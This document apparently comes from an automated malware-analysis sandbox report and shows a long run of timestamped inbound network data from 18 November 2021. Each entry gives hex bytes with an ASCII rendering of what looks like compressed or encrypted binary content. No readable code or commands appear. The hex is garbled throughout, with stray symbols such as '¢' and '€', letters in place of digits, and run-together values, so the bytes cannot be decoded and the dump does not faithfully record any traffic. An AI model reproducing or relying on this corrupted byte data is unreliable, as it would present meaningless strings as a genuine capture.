cb 36 b9 1e 00 96 10 75 ad 94 6a 75 d0 70 54 2e 95 e3 24 47 11 62 9b 98 62 5d 3 7f 9f c1 39 ab 22 5e ef 16 f1 ce 32 14
3075 e8 21 e7 e6 dd 2d 49 b0 05 58 a3 19 a6 e2 1a 47 bf 66 ac a8 ad c¢5 32 49 a3 02 95 33 3d e7 73 b6 58 b6 88 76 49
1b b5 ¢3 1d 56 1c 5f 6d 52 e8 72 d3 2a 67 48 32 f0 Of 47 e0 b4 76 de e5 a4 7f 91 52 ce 7a 8e a5 7e 62 b0 b5 f1 20 b0 dO
7e 38 6d 4f f7 €9 bf f6 0a d4 bf 61 d9 3d b6 1e 86 ba 70 1c 98 61 2f 9c 26 d5 c3 6e fa d9 7c 28 7a 5a 74 0f 29 64 88 ca e3
e3 62 fa 16 69 f1 3b 4e 42 31 d1 62 90 59 cd a6 85 bb 67 d3 34 1e 88 b3 e8 7f 82 el dd ff 13 71 €9 d4 b5 0a 73 d5 b3 86
2119 90 Oe b7 07 3e 59 81 74 76 ed 3c 14 98 66 c9 7f 14
Data Ascii: .<"7(,+\~T]hU@6ujupT.$Gbb]9""20u!-IXGf2I3=sXvIV_mRr*gH2GvRz~b ~8mOa=pa/&n|(zZt)dbi;NB1bY
g4qs!>Ytv<f

2021-11-18 09:30:32 UTC 572 IN Data Raw: 57 5e 29 b6 2e 85 89 56 b7 d5 b1 8a f8 69 a8 6a 6d 42 14 fb 1c 07 65 f1 74 30 84 bd 5b c6 8c f4 cc c5 c0 a7 a8
12 5e 61 ce e2 5a 50 73 bf 23 42 c6 a3 f8 93 d4 el 59 9f 1b 4b b1 d9 90 1d a5 a5 f9 bd 57 11 e3 ba 83 7e ¢3 36 79 24 77
e3 f3 dc 45 cf 10 a3 78 ee 13 cc 90 95 3b b6 70 Oa 5f ae 79 ¢5 8c 09 8d 9b ba 02 c3 €3 49 41 ac 17 e7 a3 b5 1b 83 b7 6¢
a5 45 bl a6 ea c4 25 1a bl 51 30 29 86 d8 4a ac b3 96 62 2a c9 14 72 94 a4 5f 47 73 1d 9a 18 17 ca 85 15 69 9c 61 b4
26 00 ad 8¢ 59 50 a4 6e 4a 67 5¢c 65 58 07 53 d4 7b 58 15 46 81 ef 79 87 bc 67 a9 d2 61 19 4a 17 al ec 47 13 6a 68 40
0Ob eb 05 a2 56 b8 7c 3f a3 91 e2 a5 94 a9 06 d1 9b a4 88 b3 69 3c 26 65 c5 df 93 24 b4 dd 36 c6 34 ba fd 5a ca 70 c4 2a
be 82 94 88 eb b0 31 2e 48 22 0f cb 07 2e 66 88 61 81 30 32
Data Ascii: W*).VijmBetO[*aZPs#BYKW~6y$wEXx;p_ylAIE%Q0)Jb*r_Gsia&YPnJg\eXS{XFygalGjh@V/|?i<&e$64Zp*1.H
".fa02

2021-11-18 09:30:32 UTC 576 IN Data Raw: f8 3d 65 1b af 56 b6 f3 9f 78 8d b2 83 df 57 6e 29 a5 fc 81 f2 31 7f 28 97 ca e7 79 2d 7f 24 b4 60 27 ff 59 f9 3d
af e3 bf 28 bb 94 dd 4a 85 50 ce 3d 4a a5 b2 51 a9 52 6e 2b 77 94 bb fc 09 ff 55 29 e3 0d ff 66 b9 be ba ab 3c ae 00 Oc 73
f6 70 36 df Oc 7b 46 3 cd 8c da al f7 de 11 4d 60 8c b1 c1 74 87 26 40 80 40 bd 81 84 24 24 84 10 02 24 10 bd 7 62 87
de 7b ef bd f7 ee 12 e3 24 37 49 56 1c 27 59 8e 53 1c 27 8e 2e f2 2b de e7 0d fe 13 b7 07 ff 15 fc 11 77 04 ff 8d 3b 83 3f
el ae e0 7f 70 77 f0 bf b8 27 f8 33 ee ad 2a ca 3e Oc e0 7e 04 3¢ 80 07 91 el 21 ac 8e 87 31 88 47 10 f1 28 d6 c0 63 e8
el 71 e4 78 02 05 9e c4 9a 78 Oa 4f 23 al c4 33 a8 fO 2¢ 86 al 46 1f cf 55 93 81 9a d5 74 40 55 1b 15 a8 44 83 e7 d1 e2
0574 78 11 c3 f1 12 46 €0 65 8c c4 2b 18 85
Data Ascii: =eVxWn)1(y-$"'Y=(IP=JQRn+wU)f<sp6{FM t&@ @$$$b{$7IV'YS'.+w; 2pw'3*>~<!1G(cqxxO#3,FUt@UDtxFe+

2021-11-18 09:30:32 UTC 580 IN Data Raw: e7 5¢ 47 95 3c d7 09 d7 db €8 00 6d ae 93 ae f3 e8 03 27 al 13 f4 al 17 Oc a3 1b 8c a0 1f 5¢c ac b4 29 77 a0
2b 5c a2 b4 2b 77 a2 37 7c¢ 58 b9 5f 59 85 Oe 71 ad 92 50 56 a3 4f dc ae 6¢ 50 36 a3 5b 7c 54 d9 a8 6¢ 41 cf f8 bc b2 57
d9 af ec 50 5e 50 f6 29 07 d0 33 9e 51 8e 29 ¢7 d1 39 5a 94 8b ca 65 f4 8f 41 b7 c7 5d 8d 2e b2 db dd e6 5e 84 5e 72 b9
fb 1e f7 32 74 94 9b dc ab dd eb 90 fd a7 dc bb dd 7b d1 5d be e2 1e 54 27 b8 87 54 cd 9d 52 c¢7 aa cd ea 67 d5 16 f5 73
6a ab 6a a8 f3 d4 28 51 c1 7a a2 d4 1la la fe 7c 13 df 1f d1 4f e9 09 7a 9a 9e a5 5f d3 1f e8 3c b3 53 8c be 45 3f a7 bf d1
3fe8 6d 7a 9f 11 2b 60 2a fb 28 2b a7 ff db 27 b5 dc 76 07 95 58 07 28 9f c6 13 a5 2f a5 cf a4 1e 4b 9f 21 b2 5d 37 02 59
03 69 7c 5e d9 30 92 76 a5 87 ae ¢4 52 6b 52 7d a9
Data Ascii: \G<m'\)w+\+w7|X_YqPVOIP6[|TIAWPAP)3Q)9ZeA] Mr2t{] T'TRgsjj(Qz|Oz_<SE??mz+ *(+vX(/K!]7Yi|*"OVRKR}

2021-11-18 09:30:32 UTC 584 IN Data Raw: 39 dd 88 33 19 3c 51 57 81 1f 7b 1e 88 20 80 f5 a9 74 5¢ 90 e3 22 7a 01 16 6d 6f 63 36 86 d6 78 e3 01 a3 4a
12 d3 32 20 31 bc 7b 80 9f 01 9f cd 6a ac a5 64 87 68 be 5e 44 ef aa cf 50 53 73 08 92 cb fd 46 68 6¢ 21 06 a8 la 5f 55 ba
1055 ed 70 16 61 33 2c 41 22 6¢ 61 c4 dc 1c 39 3 35 92 1f 7d 48 19 bd ed bl 74 b6 81 b5 c2 4c f9 86 85 13 ba b2 72 7b
13 47 dd bc 4e 71 ee 54 2c 39 d7 c6 f0 €5 1b 1b a5 88 8d 22 Oc 66 16 fe al 1c 63 cd 06 82 b2 45 24 ac 0d b3 06 a2 8d a4
96 2f Of c2 33 5a 9e b4 45 02 a5 db da 5e b3 04 d5 a3 5d f8 3b 20 05 54 18 9e 3e 19 1b 84 74 01 5b 3d Oe c2 61 30 b7 80
2d 52 cd 3c 2e c0 8f 04 28 14 d8 34 9c 4a c3 74 al 72 59 35 b0 1c ec 4d a7 e3 f3 23 05 28 aa ce 1b 7e 88 7f c3 7f d0O 8f a9
fe 3e ff 3a 3f 6e f2 7b fd 18 4b 8 fd 84 bb 50 b9
Data Ascii: 93<QW/{ t\"zmoc6xJ2 1{jdh"DPSsFhl!_UUpa3,A"la95}HtLr{GNqT,9"fcE$/3ZE"]; T>t[=a0-R<.(4JtrY 5M#(~>:?n{
KP

2021-11-18 09:30:32 UTC 588 IN Data Raw: 9a 78 ae 76 59 cb 18 cd 41 50 bb 9e 71 82 7d 08 99 f2 63 64 5b €9 fc cc ¢5 ed 07 27 ea 5e af b5 df b2 02 10 e4
ed 87 20 13 67 c6 d5 9b d2 ae 8f Ob 72 e2 ac fb d4 d6 de 4b 55 22 c0 f0 29 eb c2 7b 4e ac d9 6b 36 5a 5e ae db 8a 22 ef
23 7c c6 62 d3 cf 06 db 55 f4 55 93 62 de 4d 31 8a bd c5 1c ef 46 Oe f5 21 d8 Oa 21 31 dc af f3 22 Oe 9b 4d 6e 24 ba 64 32
de 47 8d 06 b7 f6 43 09 8c €5 40 be 7b 85 ea 55 7e €6 e2 f6 38 93 75 ff a2 82 e9 d3 54 42 9a 7c d9 eb 6 24 e7 c9 2e 37
57 74 df d5 da 47 9c 43 a4 86 f1 8e el f9 4d be 30 3f 1a d4 cf c9 20 4c b2 d9 17 d9 3b cd 73 a2 ac f3 b4 d1 dc ff 19 66 c8
7fb1 7f d9 6¢ d6 14 aa 2d 88 e7 fa 78 de 23 ec 5¢ 7e ef 63 5¢ 43 fd e7 9d c1 e4 d6 0d d6 f5 73 2e d7 b5 06 f9 aa d5 41 d6
2b ad 77 ed 34 dc fa 94 fd dd 62 64 aa 55 cc
Data Ascii: xvYAPg}cd[* grkKU"){Nk6Z""#|bUUbM1F!!11"Mn$d2GC@{U~8uTBI|$.7WtGCMO? L;sfl-x#\~c\Cs.A+w4bdU

2021-11-18 09:30:32 UTC 592 IN Data Raw: f5 2f af 08 66 a6 a4 67 90 be Ob c6 3b €9 de 4e b7 96 57 04 b3 9c bd de c1 48 7e 3f f9 a9 30 ce 49 67 bf 2f d5
cd a4 ee 40 24 bf df 7d 85 77 d6 2b de ce 8 1e af 08 66 c6 17 7a 07 22 f9 fd 56 Ob 6f a7 7d 83 57 04 b3 ac 77 bc 03 e5 f2
2d 82 fa bb 60 bc d5 c2 1f Ob 8b 9d 69 de bb 6e 17 c6 e8 e2 e5 98 f4 bd d0 97 4 8f el 76 95 c3 9a 5a 79 13 9d 35 5e 11
3c el ac f1 af 27 2f d0 44 b5 42 0f 82 53 €8 3b 6e b6 b7 06 c6 38 9f 7b 87 9d 42 2f 61 2 63 9d Ob de 9b e4 7f 05 f3 9d 42
19 60 da 2e 80 02 ea Oe 51 7e 86 f4 22 93 3f 18 ef 2b 03 e2 7d 7d a7 5a 86 b7 00 Oa e2 fb bd 43 f1 be de 19 d2 8b 4c fe
a0 da 89 6e bb ca a0 63 73 0d fd 52 d2 17 51 63 fO el aa 31 fe 7f 68 1b b4 47 e7 d7 b0 f2 fc 65 b0 04 66 92 4f 33 79 cd 34
a8 6b 98 00 9f c1 fd dO d1 d4 4d 4d 6a d6 2b
Data Ascii: /fg;NWH~?0lg/@$}w+{z"Vo}Ww-'invZy5°<'/DBS;n8{B/acB".Q~"?+}}ZCLncsRQc1hGefO3y4kMM;j+
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 596 IN Data Raw: 27 65 7a a9 8c 8a 15 c9 c2 e0 47 32 2d a0 4a 49 ab 25 5f 38 6a ca d3 36 fO 4c c5 91 46 55 45 be ff 12 39 fe 07
2a 4d a6 5a 22 eb 6d 4e cf 5¢ f8 8e d0 4f b8 fb ef cf 63 8e a6 bc d9 02 db 76 cc ad 7d 35 df 3c 9a cO df 4e 3b a8 75 d8 dc
95 70 c4 c9 03 57 48 f3 5¢ 70 58 b3 77 97 a3 a5 10 73 77 c2 f8 66 f1 ee e2 78 52 6b €3 07 be b5 c2 fa 41 6c e6 31 bb 47
7a 0c 7d af 33 25 2d e8 15 ca 71 7c d7 9c 5a 2b bd 75 a6 a4 19 d5 a6 17 94 b4 b8 43 53 a1 dO cb 8e ff cb bd af 77 f4 86
cd 50 df 4a ff de ee b9 77 1b 34 ed 7 7f f6 eb 3d 38 aa ea 8e 03 f8 6f {7 3e 76 13 20 86 87 el a9 5e 10 43 a0 21 24 11 Oc
86 f0 48 80 18 79 08 a6 b1 53 63 81 3c 76 37 59 08 d9 b8 49 60 76 8a 29 d3 28 23 04 8 50 08 b6 41 5b al d5 01 65 98
8a 3a 2aed 38 d5 61 c0 16 f8 a3 d6 d6 be ec 14 46
Data Ascii: 'ezG2-J1%_8j6LFUE9*MZ"'mN\Ocv}5<N;upWH\pXwswixRkAI1Gz}3%-q|Z+uCSwPJIw4=80>v "C!$HySc<v7YIv)
(#PA[e:*8aF

2021-11-18 09:30:32 UTC 600 IN Data Raw: 94 d9 96 db 35 c9 5c 15 f9 38 de 6f 6a 46 de 5a 05 90 6f 6a 44 de 5a 21 18 Ob 63 20 08 a3 21 0f 72 61 14 8c 84
1b 20 d5 54 8f d0 11 3a 40 0a b4 87 76 dO 16 92 al 0d 5c 6f aa 45 de a7 ad al 15 d4 84 1a 50 1d aa 41 55 a8 62 74 53 4a
5c 95 21 06 2a 41 34 5¢ 09 15 4d 95 c8 ad ae e0 1d 2c bf 53 df aa 6f d4 39 75 56 9d d1 ed 3c al 8e ab 63 ea a8 3a a2 Oe
ab 43 ba 2d 9f aa 4f d4 Oe b5 5d 6d 53 5b d5 16 5 8c 6e c5 d3 aa c4 35 99 2b 3d de d4 88 bc e5 ef e3 e2 dc Ob e3 e0 1e
08 43 17 e8 cc 75 48 03 2f dc 04 37 42 27 5e 72 1c ¢4 ¢2 55 11 36 3b 8e 63 1b af bb 68 87 63 eb 3f 77 b6 b5 57 39 8e c5
5a 26 c0 ed dc f5 db 58 59 5f e8 03 bd al 17 f4 84 5b a1 07 dc 02 dd 21 03 6e 86 74 e8 06 5d al 11 34 64 f1 1e 70 43 03
48 80 fa 50 Of ea 42 1d a8 cd cb ac 05 f1 de c5 2 4f
Data Ascii: 5\80jFZojDZ!c ra T:@V\0EPAUbtSI\I*A4\M,So9uV<c:C-O]mS[n5+=CuH/7B"*rU6;chc?wW9Z&XY_[!nt]
4dpCHPBO

2021-11-18 09:30:32 UTC 604 IN Data Raw: bc 78 55 34 22 f2 52 a3 €9 44 ¢4 4c 50 ¢4 d2 1a f5 3d 98 61 1c c9 cc 54 7d 8f ce c0 4c ¢4 45 1e 7c 5¢ 2d 35 25
18 4d eb 6d ed 7c 62 c2 d7 46 fb b3 5d d5 7d 7e 1le 8a 53 f9 e2 9a 9e 8a 8b 2e 69 5e 5e 76 84 a6 f3 cb 19 a5 17 ad 6d 84
75 d6 58 ac dc 19 70 a9 ba e2 b3 ¢5 45 b7 88 50 63 f4 a3 85 6b 48 f0 52 bb 24 14 1d 0d d7 a8 3a f3 21 6b 46 b3 58 16 62
34 2c 0e 01 5b a0 b6 4e 48 36 el 5a 5b e7 f3 c7 fd €6 €7 7f a4 e4 b3 72 72 04 b8 6b 48 2c 2f 11 b9 9c cc 79 3e 31 35 d3
5a 24 54 a6 46 53 91 21 09 Oe Ob ea b0 12 b4 a2 5d 38 4f 45 d4 c2 9a 98 3c 5¢c a2 9d 75 59 c9 16 a0 37 97 38 85 c2 48 4a
74 bl 44 e5 58 a4 ea 5a 4a 8b 6b b4 87 42 8b 74 bl 36 51 6b d9 df 86 26 ad al 71 a9 2e bb 6d ed 92 e6 61 c8 d4 67 9b
88 c3 4f 72 16 28 b5 b4 07 63 5 be 6¢ 5b 25 9e 2f 71 Oe
Data Ascii: xXU4"RDLP=aT}LE|\-5%Mm|bF][}~S.i"*vmuXpEPckHR$:!kFXb4,[NH6Z[rrkH,/y>15Z$TFS!]80OE<\uY78HJtD
XZJkBt6Qk&qg.magOr(cl[%/q

2021-11-18 09:30:32 UTC 608 IN Data Raw: 23 el 88 4d 15 08 e2 73 c1 e8 57 5¢ 9c b4 5d 7a df 1c Oc 86 5a a3 36 ac 93 de 65 58 0d 4d 6b 58 86 c8 ae 39
ff b5 87 Of f4 ef fd c6 3b 84 el cd 54 2c 16 bf eb f2 38 c9 97 5e fc eb eb d3 3b 7a 5d 0d 8c a9 Ob b4 15 36 95 38 93 d3 d6
0 d9 d9 4e 4b bc 86 9f af 18 bc ed 63 96 14 9b a3 f8 d0 18 2f 1b b4 ba 3d eb ae 93 18 08 85 d6 35 88 97 82 2c a9 6e 38
b4 d5 5d 62 b2 aa d4 f9 62 bl 44 d4 77 8a 8d ba 50 17 b3 1e 1d c6 b8 85 e3 dd ac d4 d5 62 72 45 bc 91 8¢ 8b d1 7b 73
el 48 4e 90 6 99 Oa 6e e2 17 6a a3 2b ea 0d 8b 6e 6d a0 59 2¢ 7c 21 32 e8 61 5b 63 09 eb d2 6e ad 11 46 05 56 Oa 5 cb
e6 dd a5 31 5f 7f 40 18 8f e2 97 e5 ba c2 27 5a e8 28 c8 4e 5 38 cd 42 47 ad 47 a8 7e 4d 9d 50 3a 2c a9 5¢ 37 bc 1b 5¢
0f 36 3b 8e 7a Oa fa 00 d4 cf 15 a4 05 7b e3 85 72 3f Of
Data Ascii: #MsW\]zZ6eXMkX9;T,8";z]68NKc/=5,n8]bbDwPbrE{sHNonj+nmY,[12a[cnFV1_@'Z(N8BGG~MP:\7\6;z{r?

2021-11-18 09:30:32 UTC 612 IN Data Raw: 41 4f 76 69 5e 8a 3e 6d 5¢ a6 b7 d8 6d bc 77 46 6a ac ee 08 15 05 9a 56 d7 99 53 4c 92 9c 98 92 €8 2a f2 a4
58 73 8a dd 26 6b a2 2c 99 52 c2 2b 61 dd 3f 23 ff 61 24 75 20 86 fa 29 eb 2d e4 a6 a3 08 27 36 b6 fb 0d a3 94 e7 6a b6
3c 06 27 fc fd 23 75 fb 61 56 ac 7e 8d 99 95 12 67 a7 f0 a9 60 70 14 64 65 07 1c 06 c1 69 ca 2a f3 f9 4a f1 59 96 €8 09 fa
fd e5 d9 89 89 d9 e5 7e 7f d0 93 28 1c 88 a5 53 fe 62 62 6a a2 ac 83 69 77 43 fe 8a 1c b3 39 a7 c2 1f a8 cc 35 9b 73 2b
95 Oc 9a 16 fe 9b 30 28 78 c8 45 b6 d7 2d 74 94 ed 3e 62 35 a6 b9 c9 72 f1 3c Oc 3a a7 9d 83 98 f7 cb 53 86 8d 18 d4 5b
dd b6 5e 5d 72 7a 8e 33 ¢3 6b 11 a4 ad 96 9c d2 bc dc 89 1e f3 51 df e4 aa f2 8¢ 53 86 24 3d 8e ac c5 28 a4 fe 2a 27 60
d7 e9 ec 01 ec c3 fe c8 75 el 38 3f 84 ac 37 8e 5c¢ af
Data Ascii: AOvi*>m\mwFjVSL*Xs&k,R+a?#a$u )-'6j<'#uaV~g pdei*JY~(SbbjiwC95s+0(XxE-t>b5r<:S[*]rz3kQS$=(*"u8?7\

2021-11-18 09:30:32 UTC 624 IN Data Raw: e3 38 8e e3 38 8e €3 38 8e 3 38 8e e3 38 8e €3 38 8e e3 fe 8d 1c 42 74 ba 2c a6 48 24 3a ba 88 38 el 14 6d
44 2f 31 5e 88 96 47 dd 7b 44 53 f3 5d 11 2f 56 d1 ab 46 09 67 1b f3 d5 3a 6e 2a 26 d0 99 c3 3a 17 8e 38 e7 54 fb 58 13
ed b5 99 f6 71 Oc 1d 2f b2 8f 63 €9 78 9d 7d dc 54 e4 6b db 68 a6 23 a6 19 ad d9 2e c6 69 1f 3b 44 7a ac cb 3e 76 8a f8
d8 3c fb 58 a3 f1 12 fb 38 86 8e eb ec e3 58 3a 9e 63 1f d3 7e 62 37 8a a5 42 8a 3e 22 5b f4 16 b9 74 54 2a Oc el 15 21
1110 61 aa 52 44 68 ac 98 8e 42 22 68 bd 7a 68 c4 a0 a3 3a 91 45 ef 14 0a 3f fd 91 a2 8c c6 aa 44 35 bd 17 b6 ce 74 52
a7d9 13 e8 d5 47 33 5b 89 12 3aaa a0 11 5d 4c a4 19 a3 68 35 9d d6 28 17 f5 d6 91 14 23 68 e5 7a 5a 37 6a dd d1 4f 47
55 d6 4e 24 15 a0 39 f5 74 ed b1 7b c8 €3 7b ce 16 7d e9
Data Ascii: 888888Bt,H$:8mD/1"G{DS]/VFg:n*&:8TXq/cx}Tkh#.i;Dz>v<X8X:c~b7B>"[tT*laRDhB"hzh:E?D5tRG3][:
JLh5(#hzZ7]OGUN$t{{}

2021-11-18 09:30:32 UTC 640 IN Data Raw: b9 17 c8 60 ef 5¢ f5 31 c6 fa 29 ed 9a d8 b6 7 a3 ed ac 63 22 3 88 1d 8b 9 06 0f 93 0f 93 ff 99 43 cc 7d 25
6b 70 f9 6¢ 56 ae 1a 8f bb d8 e5 ¢4 47 a5 19 77 40 4b 33 2afa c4 fc 18 ad 1b 70 9f ac e2 fd 12 77 c2 02 f2 84 ee f4 bd 42
7 a2 6e bl d4 61 8c 52 fd 8f f3 50 9 1e 57 da f3 50 26 €7 b5 2f da 56 38 a6 d3 ef b4 60 12 cf 31 Ob 5d b9 9e b9 14 42 Ob
8 05 02 03 4d 31 df d4 36 0f 53 c6 6¢ 82 9b f4 99 f5 16 42 a9 ee a3 63 3e 3 ad 00 81 56 dO 2c 95 62 8f 1d 6a b7 6f 50 73
dd 87 ac 6d 2a ec fe c7 74 87 35 8 c2 80 2c c4 96 f8 84 a3 21 e4 bb 3d fd 99 2b e7 58 9b ab 9d 20 d5 5d 6e 57 cc 9b f8 bC
b2 d8 fa 50 68 fd e8 fe 78 2d 4 51 db fe €3 6¢ 6f ed 3e Oe 7d 71 88 92 b9 04 7b f8 €7 02 68 1b f5 f5 62 ee 8f 8d d4 27 79
7b 3f 47 2 3e f4 0a 9 fc 22 47 f2 be
Data Ascii: "\1)c"C}%kplVGW@K3*pwBnaRPWP&/VS 1]BM16SIBc>V,bjoPsm*t5,1=+X JnWPhx-Qlo>}q{hb'y{?G>"G

2021-11-18 09:30:32 UTC 651 IN Data Raw: 88 6d d8 8a 07 b0 05 f7 €3 3e 6¢ c6 bd d8 84 7b 70 37 ee c2 46 6¢ 40 07 da 91 c1 9d b8 03 b7 e3 36 38 b8 15
b7 €0 66 ac c7 4d 58 87 1b 71 03 ae c7 75 58 8b 6b 71 0d ae c6 55 b8 12 57 €0 72 5¢c 86 4b 71 09 2e c6 45 b8 10 17 €0
7c ac cl 6aacc2 4a 9c 87 7f el 5¢c 9c 83 15 8 27 96 63 99 d5 32 b2 4d a8 7f al fe 85 fa 17 ea 5f a8 7f al fe 85 fa 17 ea
5f a8 7f al fe 85 fa 17 ea 5f a8 7f al fe 85 fa 17 ea 5f a8 7f al fe 25 Oe 7a 80 d0 03 84 1e 20 f4 00 al 07 08 3d 40 e8 01 42
0f 10 7a 80 d0 03 84 1e 20 f4 00 a1 07 08 3d 40 e8 01 42 Of 10 7a 80 d0 03 84 1e 20 f4 00 al 07 08 3d 40 e8 01 42 0Of 10
7a 80 d0 03 84 1e 20 f4 00 al 07 08 3d 40 e8 01 42 0f 10 ea 5f a8 7f al fe 85 da 17 6a 5f a8 7d al f6 85 da 17 6a 5f a8 7d
al f6 85 da 17 6a 7f 4f f7 el bd fc 68 d8 d3 2f
Data Ascii: m>{p7FI@68fMXquXkqUWr\Kg.E|jJ\'c2M %z =@Bz =@Bz =@Bz =@B_j_}j_}jOh/

2021-11-18 09:30:32 UTC 667 IN Data Raw: c8 el aa dc 44 15 44 74 58 d3 3b cd 7a 62 7b 62 88 dc 1c f3 98 2f 04 54 18 8d 2c 6a 62 44 c7 01 21 24 23 Ob
2e 09 35 71 80 2f 01 cf 12 9d 67 32 60 a9 €0 6b 7c 87 b5 00 3f b9 7d 4e 96 15 02 d2 ba 2e e8 cd 7a d1 6b c6 Oe al 53 14
15 27 2b b7 54 1e 6d 8c 6d 8f c5 a7 a3 Of ef 81 94 ¢5 a4 07 bf 09 ca 16 db ed Of ff 1d 9b 8e 46 ab 61 da 49 be 90 44 05 06
9a 23 67 66 8e d0 51 ec 25 Oc 84 c7 €6 a8 66 24 5e 81 48 4c eb fe f1 97 71 fe 32 5a 01 2d 98 a5 b9 c¢5 f2 c0 00 61 9d 20
44 ¢4 d7 5b 2d 27 96 9c 4e 29 54 6d f1 Oc e4 cb b2 1e 93 b5 75 d6 01 03 9d 09 a0 95 f6 50 59 1f 9b fc 4a 32 9 7f 28 02 bf
c2 6a 14 el 36 d3 07 f8 44 df 68 6a 5c 83 3a 08 64 4e ff 37 8f 47 87 7b 13 ce 5d b4 d9 a5 41 de c8 30 bb 5d d9 75 39 29
bc 21 9f 12 Oe 1a Oc 34 6a 43 fe 73 80 3c df 8 06
Data Ascii: DDtX;zb{b/T,jbD!$#.5q/g2 k| ?}N.zkS'+ TmmFalD#gfQ%f$"HLq2Z-a D[-'N) TmuPYJ2(j6Dhj\:dN7G{JA0]u9)!4jCs<
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 683 IN Data Raw: f1 d7 65 85 cc 5 6a 9d Oe 91 07 51 €6 74 90 7d 28 c6 7e ec c5 26 94 aa 5d ee 3d 52 67 5 90 c9 d6 38 b9 db
be 51 66 30 c7 1d c8 59 26 6b dc 37 59 7f cd 95 75 5a cf 74 ca fe 12 e3 50 89 95 d8 18 ae c7 la 2f cf 5a 55 bc ef d9 b2 36
b2 42 b6 d2 cf f5 be 97 32 78 4b 1e 7 b5 97 55 56 84 bc 71 15 6d c8 95 6d 86 55 e5 d5 a6 38 2f ca 9d 38 42 fd 8b 82 63
92 6f b1 72 26 96 63 a9 le 4b 9d 5b a6 71 89 c6 dd 7e 1d 1d e4 01 1c 64 be ab a4 af 95 76 b1 2c 77 a2 f2 75 d6 6f 95 f6
3c a9 b0 37 c8 48 fb 9f 6a 81 8c bc a8 5¢ bd 2¢ 67 fe ad 60 fe 1d 11 2e 67 3f c1 bl be 32 da 5a 4e fb 96 cb 2f 30 19 b9 98
82 22 0c c0 97 d4 48 5¢ 89 ce e8 81 6b 30 01 57 60 38 7a al b7 5e df 07 57 eb 75 1d fd f4 42 79 1f fb b1 18 bd b0 14 8b
30 13 fd d5 02 8c c6 58 94 61 12 56 60 Oc €6 e0 26
Data Ascii: ejQt}(~&]=Rg8Qf0Y&k7YuZtP/ZU6B2xKUVgmmuU8/8Bcor&cK[g~dv,wuo<7Hj\,g".g?2ZN/0"H\kOW"8z"WuBy
0XaV'&

2021-11-18 09:30:32 UTC 699 IN Data Raw: 27 09 8 0f 09 dc 07 94 87 a2 04 Oe d9 dc 95 c9 57 01 37 44 2d 5b d4 ba a0 78 18 2a 4e 71 da 02 25 38 55 79
0f 10 8d ¢6 c9 c2 b2 4e bc 6d 90 62 f1 91 eb 1e 9c 34 16 a4 ec 15 2d 8d 08 10 a0 c2 2d 2f 00 05 fc ac 79 9f ef d2 98 {3 d4
2e 28 b0 12 68 €0 a5 16 d5 e3 f1 d3 07 45 43 b9 67 74 a2 3d f4 28 7b 13 9c 7d 48 dd 50 43 91 22 49 de de 71 5b 28 90 8c
b5 17 69 e8 ee 52 09 3e 4b 9a 90 4a f5 6 cc eb 84 2a 43 69 11 10 aa 9d ff 98 c4 4b b7 ff 78 a8 c6 b2 54 5f 23 4d 50 c8 75
7b aa 76 42 €9 70 95 cd 53 ae 53 20 1f ed Ob 07 50 89 e2 1e a8 21 ff el bb 02 b1 a9 3b 28 94 a6 94 63 27 14 8d 5d 61 54
9f 96 7f 9b 1b 9c d5 e7 d0 Ob c5 43 95 96 73 f4 c1 52 6e 8b 55 50 9e ac 6d f5 61 8d a5 60 65 54 89 5d b4 24 04 e4 47 6f
b4 64 2c 07 99 bd 7d 2d 4d bc 24 8 52 7b 69 f1 58
Data Ascii: "W7D-[x*Ng%8UyNmb4--/y.(hECgt=({}HPC"Iq[(iIR>KJ*CiKxT_#MPu{vBpSS P!;(c'laTCsRnUPma’eT]$God,}-
MS$R{iX

2021-11-18 09:30:32 UTC 715 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

2021-11-18 09:30:32 UTC 731 IN Data Raw: Of 2d b6 3f 4e d5 42 51 5a a3 b3 16 e2 64 b7 fd 27 01 db fe 2e e1 52 7c cc 44 21 09 1b 5¢ 1a 69 de 30 eb 51
66 99 3b ba 67 15 4b 23 07 d9 b0 3b a7 ca 50 8a 8¢ 87 5a ce 64 69 ea 34 17 ea 67 2b 84 ce d4 aa 1f 81 11 03 05 29 de
316 52 ee 8¢ 7f e8 c8 60 68 8a 05 6d ca 64 8b 45 28 10 c¢2 36 3b 75 16 33 96 da 25 11 22 31 fc 21 d6 64 03 37 99 f2 3a
89 be e6 26 2e 31 de b8 c7 05 68 98 21 4c f6 01 ff 3b 32 28 eb 5¢ 4d cb 09 b2 c5 ¢8 2d 9a 2b d5 9a 52 75 0f 02 Oe 75 1c
23 b4 34 06 26 29 d6 10 5b 39 d9 93 €5 15 2b 8d ee a9 9c 65 6b 66 b5 90 c7 9c f1 62 01 ce a2 e6 ee 24 56 83 72 d5 ba
e8 de ae 6b de df 20 83 4a c6 ac 84 b6 60 b6 fb 17 3b 99 f9 f2 d1 33 4b c6 16 25 ff €0 51 1b 83 €9 51 aa 2f 08 Oa f4 4a 42
04 7c a2 26 1e 13 Oe Ob 1d aa dc a2 40 37 a9 df ¢6 1b cd 16
Data Ascii: -?NBQZd".R|DNi0Qf;gK#;PZdi4g+)1R" hmdE(6;u3%"1!d7:&.1h!L;2(\M-+Ruu#4&)[9+ekfb$Vrk J";3K%
QQ/IB|l&@7

2021-11-18 09:30:32 UTC 747 IN Data Raw: 5a 25 d6 46 b4 64 33 35 dc 8b 35 6a 40 Of cf Ob de 59 16 9f 09 a5 31 cc d6 9d 50 31 2d cc b4 4e c1 64 53 8d
